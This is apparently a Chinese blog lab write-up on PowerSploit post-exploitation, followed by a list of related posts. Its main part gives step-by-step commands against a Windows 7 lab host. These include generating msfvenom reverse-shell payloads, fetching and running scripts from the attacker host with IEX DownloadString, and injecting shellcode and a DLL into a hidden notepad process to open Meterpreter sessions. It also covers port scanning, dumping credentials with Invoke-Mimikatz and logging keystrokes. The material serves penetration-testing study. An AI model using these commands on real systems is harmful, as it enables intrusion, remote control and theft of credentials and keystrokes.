PowerSploit脚本攻击实战

PowerSploit 之 Invoke-ShellCode Shellcode为16进制的机器码,根据不同的任务可能是发出一条系统调用或建立一个高权限的Shell,Shellcode也就由此得名。它的最终目的是取得目标机器的控制权。(一段用于利用软件漏洞而执行的代码) 反向连接的shellcode: 当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用shellcode建立了服务后门,还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(攻击者的)和端口反向连接到攻击者,也可以设定为在固定的时间段主动来建立连接. 阅读详情

环境

kali(192.168.188.128)
win7(192.168.188.148)

前提

1.输入git命令安装PowerSploit
命令:git clone https://github.com/PowerShellMafia/PowerSploit
演示:
在这里插入图片描述

2.输入以下命令开启Apache服务
命令:service apache2 start
演示:
在这里插入图片描述

3.把下载好的文件夹移动到var/www/html目录,搭建一个简易的服务器
在这里插入图片描述
在这里插入图片描述

介绍PowerSploit各模块的功能

1.AntivirusBypass:发现杀毒软件的查杀特征
2.CodeExecution:在目标主机上执行代码
3.Exfiltration:目标主机上的信息搜集工具
4.Mayhem:蓝屏等破坏性脚本
5.Persistence:后门脚本(持久性控制)
6.Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本

开始实战

一.Invoke-Shellcode

CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法
1.直接执行ShellCode反弹Meterpreter Shell
1.在MSF中使用reverse_https模块进行反弹,设置内容如下
命令:1.use exploit/multi/handler
2.set payload windows/meterpreter/reverse_tcp
演示:
在这里插入图片描述
成功设置监听
2.使用msfvenom命令生成一个PowerShell脚本木马
命令:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.188.128 LPORT=4444 -f powershell -o /var/www/html/code
演示:
在这里插入图片描述
成功生成PowerShell脚本木马(注:这里一定要注意位数,不然反弹不成功)
3.在目标机PowerShell下输入以下命令下载该脚本(以管理员身份运行)
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/CodeExecution/Invoke-Shellcode.ps1”)
演示:
在这里插入图片描述
4.接着输入以下命令下载木马
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/code”)
演示:
在这里插入图片描述

5.接着在PowerShell下运行木马,输入以下命令
命令:Invoke-Shellcode -Shellcode ($buf) -Force
演示:
在这里插入图片描述
6.返回msf进行run
在这里插入图片描述

成功反弹shell
2.指定进程注入ShellCode反弹Meterpreter Shell
1.在目标机PowerShell下输入以下命令下载PowerShell脚本
命令:IEX(New-Object Net.Client).DownloadString(“http://192.168.188.128/PowerSploit/CodeExEcution/Invoke-Shellcode.ps1”)
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/code”)
在这里插入图片描述
2.输入Get-Process命令或ps命令查看当前进程
在这里插入图片描述

3.然后输入以下命令创建一个新的进程,这里启动一个记事本,并把它设置为隐藏的
命令:Start-Processc:\Windows\system32\notepad.exe -WindowStyle Hidden
在这里插入图片描述
可以看到生成一个ID为3816,名为notepad的进程
4.接着输入以下命令,使用Invoke-Shellcode 脚本进行进程注入
命令:Invoke-Shellcode -ProcessID 3816 -Shellcode($buf) -Force
在这里插入图片描述
5.返回msf发现成功
在这里插入图片描述
成功反弹shell

二.Invoke-DllInjection

下面使用Code Execution模块下的另一个脚本Invoke-DLLInjection,它是一个DLL注入的脚本
1.同理先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/CodeExecution/Invoke-DllInjection.ps1”)
在这里插入图片描述

下载成功
2.使用下面命令在Kali中生成一个DLL注入脚本
命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.188.128 lport=4444 -f dll -o /var/www/html/test.dll
在这里插入图片描述
成功生成DLL注入脚本
3.把生成的test.dll上传到目标服务器的C盘后,就能启动一个新的进程进行DLL注入,这样可以使注入更加隐蔽,使用以下命令新建一个名为notepad.exe的隐藏进程
注意:上传到目标服务器C盘,我直接网页下载
在这里插入图片描述
命令:Start-Processc:\Windows\system32\notepad.exe -WindowStyle Hidden
在这里插入图片描述
成功生成一个新进程4268
4.使用下面命令进行注入
命令:Invoke-DllInjection -ProcessID 4268 -Dll c:\test.dll
在这里插入图片描述
5.返回msf查看即可成功反弹shell

三.Invoke-Portscan

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单
1.仍然先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/Recon/Invoke-Portscan.ps1”)
在这里插入图片描述
2.使用以下命令进行扫描
命令:Invoke-Portscan -Hosts 192.168.188.148,192.168.188.128 -Ports “80,22,3389”
在这里插入图片描述
扫描成功

四.Invoke-Mimikatz

Invoke-Mimikatz是Exfilration模块下的一个脚本,它的功能是抓取Hash
1.仍然先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/ExfiLtration/Invoke-Mimikatz.ps1”)
在这里插入图片描述
2.执行以下命令
命令:Invoke-Mimikatz -DumpCreds
在这里插入图片描述
成功抓取Hash

五.Get-Keystrokes

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行
1.仍然先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/Exfiltration/Get-Keystrokes.ps1”)
在这里插入图片描述
2.使用以下命令开启键盘记录,这里输入”hello”来简单测试
命令:Get-Keystrokes -LogPath c:\test1.txt
在这里插入图片描述
成功记录,但是不知道为什么出现这么多重复的。
比较圆满的结束

实训周笔记 PowerShell简介 常用的PowerShell攻击工具: PowerSploit Nishang PowerCat PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Viru.. 阅读详情

相关推荐

PowerSploit渗透测试框架:五大核心模块实战解析与Windows无文件攻击防御

在Windows安全领域,无文件攻击和内存执行技术已成为渗透测试与防御对抗的核心焦点。其原理在于利用系统内置组件(如PowerShell)直接在内存中加载恶意代码,避免在磁盘留下痕迹,从而绕过传统基于文件签名的安全检测。这种技术的核心价值在于提升了攻击的隐蔽性和持久性,在红队评估、内网渗透等场景中尤为重要。PowerShell凭借其与.NET框架的深度集成和反射式加载能力,成为实现无文件攻击的理想载体。而PowerSploit作为一套专业的PowerShell渗透测试框架,将这一技术体系化、模块化。本文聚焦

weixin_30595035的博客 405

powersploit介绍以及攻击实战

powersploit是一款基于powershell的后渗透框架软件,包含很多powershell攻击脚本,主要用于信息侦察、权限提升、权限维持 下载地址 powersploit安装 git命令下载 git clone https://github.com/PowerShellMafia/PowerSploit/ 随后打开apache服务器,将下载的文件上传到www目录下 按照上图介绍powersploit各模块的功能 AntivirusBypass 发现杀毒软件的查杀特征 CodeExecutio

weixin_43152809的博客 2087

PowerSploit脚本的应用:强大的攻击和渗透测试工具

PowerSploit是一款功能强大的渗透测试工具,提供了多个模块和脚本,可用于执行各种攻击技术。在本文中,我们介绍了几个常用的PowerSploit模块,并提供了相应的源代码示例。然而,需要强调的是,PowerSploit是一个专业的安全工具,只能在合法授权和合规的情况下使用,任何未经授权的攻击行为都是违法的。对于安全从业人员来说,了解和熟悉这类工具的用法可以帮助其更好地理解攻击技术,并提供相应的防御措施。本文将介绍PowerSploit的几个常用模块,并提供相应的源代码示例。

CodeNexus的博客 320

PowerSploit

PowerSploit是一套用于PowerShell的开源渗透测试工具集,旨在帮助安全专业人员评估和增强Windows环境的安全性。它包含了各种模块和技术,可用于执行各种攻击和渗透测试任务,如权限提升、横向移动、信息收集等。PowerShell脚本模块:PowerSploit提供了一系列PowerShell脚本,用于执行各种渗透测试任务。这些脚本包括各种攻击技术,如Shellcode执行、凭据盗窃、权限提升等。Mimikatz模块。

sinat_25635183的博客 1788

渗透系列:PowerShell攻击指南(PowerSploit部分,很多执行不下去)

PowerShell攻击指南(PowerSploit部分,很多执行不下去)

weixin_54626591的博客 1068

PowerShell攻击工具PowerSploit实战

PowerSploit是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦察、权限提升、权限维持,其GitHub地址为https://github.com/PowerShellMafia/PowerSploit。

悦分享 398

Powersploit的安装及脚本攻击实战

https://www.cnblogs.com/zhengna/p/12186118.html

weixin_42478365的博客 365

十万字图文彻底掌握网络攻防中黑客常用手段PowerSploit攻击指南和后渗透实战,详细图文步骤指导掌握木马攻击、欺骗攻击、端口扫描与服务爆破实战技术

十万字图文彻底掌握网络攻防中黑客常用手段PowerSploit攻击指南和后渗透实战,详细图文步骤指导掌握木马攻击、欺骗攻击、端口扫描与服务爆破实战技术。

代码讲故事 971

Powershell攻击指南1——PowerSploit

1.1PowerShell技术 灵活且能功能化管理Windows系统,一旦攻击者可以在计算机上执行代码,就可下载powershell脚本(.ps1)到磁盘中执行,甚至可以直接在内存中执行。 常用的powershell攻击工具: PowerSploit: 这是众多owehShe攻击工具中被广泛使用的PoweShel后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。 Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记

willow_liang的博客 1859

[网络安全提高篇] 一〇八.Powershell和PowerSploit脚本渗透详解 (1)

前文给大家介绍了安全还威胁框架ATT&CK、滑动标尺模型,并通过Cyberbit Range靶场详细介绍蓝队勒索事件取证溯源过程。这篇文章将详细讲解PowerShell和PowerSploit脚本攻击,进一步结合MSF漏洞利用来实现脚本攻击。希望这篇文章对您有帮助,更希望帮助更多安全或红蓝对抗的初学者,也推荐大家去使用Cyberbit Range的靶场,且看且珍惜。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。

杨秀璋的专栏 7352

PowerSploit 用法

PowerSploit PowerSploit是基于PowerShell的后渗透框架,包含很多PowerShell攻击脚本,主要用于渗透中的信息侦查,权限提升,权限维持,github地址为: https://github.com/PowerShellMafia/PowerSploit 安装 下载程序目录 git clone https://github.com/PowerShellMa...

weixin_41082546的博客 1674

PowerShell 及 PowerSploit 脚本攻击

PowerShell 技术 对于渗透,使用PowerShell场景: 第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令 第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入 常用的PowerShell攻击工具: PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。 Nishang:基于Powe

余笙.'的博客 2532

PowerSploit脚本的用法

目录 PowerSploit PowerSploit的用法 PowerView.ps1脚本的使用 PowerUp.ps1脚本的使用 Invoke-Allchecks模块 Invoke-NinjaCopy.ps1脚本的使用 PowerSploit PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信...

谢公子的博客 2512

PowerSploit 脚本攻击

准备 虚拟机 IP kali 192.168.100.3 windows 7 192.168.100.252 1. kali 跟 win 7 关闭防火墙 kali关闭防火墙控制软件 apt-get install ufw //下载ufw ufw disable //关闭防火墙 2. kali 与 win 7 必须ping通 Kali 配置 安装PowerSplo...

weixin_58457395的博客 1093

别再傻傻分不清PBR和NPR了!从《原神》到《双城之战》,聊聊游戏里那些让你眼前一亮的渲染风格

本文深入解析了PBR(基于物理的渲染)与NPR(非真实感渲染)在游戏视觉风格中的应用差异,通过《原神》和《双城之战》的案例,展示了两种渲染技术如何创造出截然不同的艺术效果。从技术原理到实战案例,帮助读者理解如何根据项目需求选择合适的渲染风格。

weixin_30425949的博客 148

硕士论文排版救星:用Mathtype一键搞定所有公式格式(附样式预设文件)

本文详细介绍了如何使用Mathtype的样式预设和批量格式化功能,快速统一硕士论文中的公式格式。通过创建标准样式预设文件和一键批量处理,解决公式字体、大小、间距不统一的问题,确保符合学术规范要求,大幅提升论文排版效率。

weixin_30772105的博客 939

PowerSploit PowerShell工具:原理详解+使用方法+渗透实战

PowerSploit是一款基于PowerShell的开源后渗透测试框架,采用无文件攻击理念,利用系统原生工具规避传统杀软检测。该框架包含侦察、提权、横向移动等模块化功能,支持内存加载执行。文章详细介绍了其核心特点、目录结构及两种使用方法:本地模块加载和远程内存执行,并演示了通过生成Shellcode实现反弹Shell的完整攻击流程。值得注意的是,由于该工具已长期未更新,在高版本PowerShell环境中可能存在兼容性问题。

mooyuan的网络安全博客 1700

Nestjs框架: 集成 Prisma

NestJS官方文档提供了两种数据库相关的内容:Techniques下的数据库板块和Recipes下的具体数据库集成方案。本文以Prisma为例,演示了如何集成Prisma到NestJS项目中。首先创建NestJS项目并安装Prisma,配置MySQL数据库连接。通过Prisma CLI初始化项目、定义数据模型并生成迁移文件。接着创建Prisma模块和服务,配置Prisma客户端连接数据库。最后在控制器中注入PrismaService实现数据查询。整个过程包含了Docker启动MySQL、Prisma模型定

Wang的专栏 1295

PowerSploit攻击

PowerSploit简介各模块功能Invoke-Shellcode 简介 PowerSploit是一款后渗透框架,主要用于信息侦察、权限提升、权限维持。它在github上可以下载 各模块功能 模块 功能 AntivirusBypass 发现杀毒软件的查杀特征 CodeExecution 在目标主机上执行代码 Exfiltration 目标主机上的信息搜集工具 Mayhem 蓝屏等破坏性脚本 Persistence 后门脚本 Recon 以目标主机为跳板进行内网信息侦察

weixin_45007073的博客 681

微店构造订单页面,自动化抢票

之前的文章写过微店抢票如何构造订单页面分析,这篇文章在之前的基础上,进行抢票。

猫敷雪 7203

PIMPL 模式 以及Q_DECLARE_PUBLIC 与 Q_DECLARE_PRIVATE

在 C++ 中,PIMPL 模式通常通过将类的私有数据和实现放在一个单独的类中,然后在类的公共接口中使用指向该私有实现类的指针来实现。宏可以帮助在 Qt 的 PIMPL 模式中实现类的私有实现和公共接口的分离,提高代码的封装性和可维护性。宏的结合使用,我们可以实现类的私有性和封装,避免暴露私有实现的细节,同时提高类的可维护性和灵活性。:这一行声明了一个友元类,使得类的公共接口可以访问私有实现类的私有成员。:这一行声明了一个友元类,使得类的私有实现可以访问类的私有成员。是两个宏,用于实现 PIMPL 模式。

追赶时代的博客 852

powersploit的用法

一、PowerSploit简介 PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。 Powershell的优点: 1.代码运行在内存中可以不去接触磁盘 2.从另一个系统中下载代码并执行 3.很多安全产品并不能监测到powershell的活动 4.cmd.exe通常被阻止运行,但是...

WY92139010的博客 1136

ESP32设备驱动-TM1637-驱动4位7段数码管

TM1637是一款带键盘扫描接口的LED(发光二极管显示器)驱动控制专用电路,内部集成了MCU数字接口、数据锁存、LED高压驱动、键盘扫描等功能。 TM1637使用DIP20/SOP20封装,主要适用于电磁炉、微波炉、小家电的显示驱动。

视觉与物联智能 2118

powersploit简介

一、PowerSploit简介 PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。 Powershell的优点: 1.代码运行在内存中可以不去接触磁盘 2.从另一个系统中下载代码并执行 3.很多安全产品并不能监测到powershell的活动 4.cmd.exe通常被阻止运行,但是...

weixin_30703911的博客 744

信奥赛csp初赛高频考点【位运算】(详细解析)

信奥赛csp初赛高频考点【位运算】(详细解析)

王老师青少年编程 371

【银河麒麟V10】【桌面】【服务器】系统启动问题

1、如果之前运行好好的,重启后系统报错,一般80%是因为fstab的问题,回想下之前有没有添加过外接存储,修改过/etc/fstab,如果是的话一般是因为存储异常(比如网络存储无法连接,本地存储路径变化)导致系统开机自检失败,导致无法正常启动; 处理方式:进入单用户(单用户进入的几种方式上面有专门文章介绍),修改/etc/fstab,将新增的内容暂时注释掉,然后重启系统,能正常进入系统后再分析失败原因。 ...

桂安俊@KylinOS 3万+
上一篇: PowerShell基础
下一篇: PowerUp攻击模块讲解
qieziwa(boy)
博客等级 码龄7年 5712粉丝 160原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值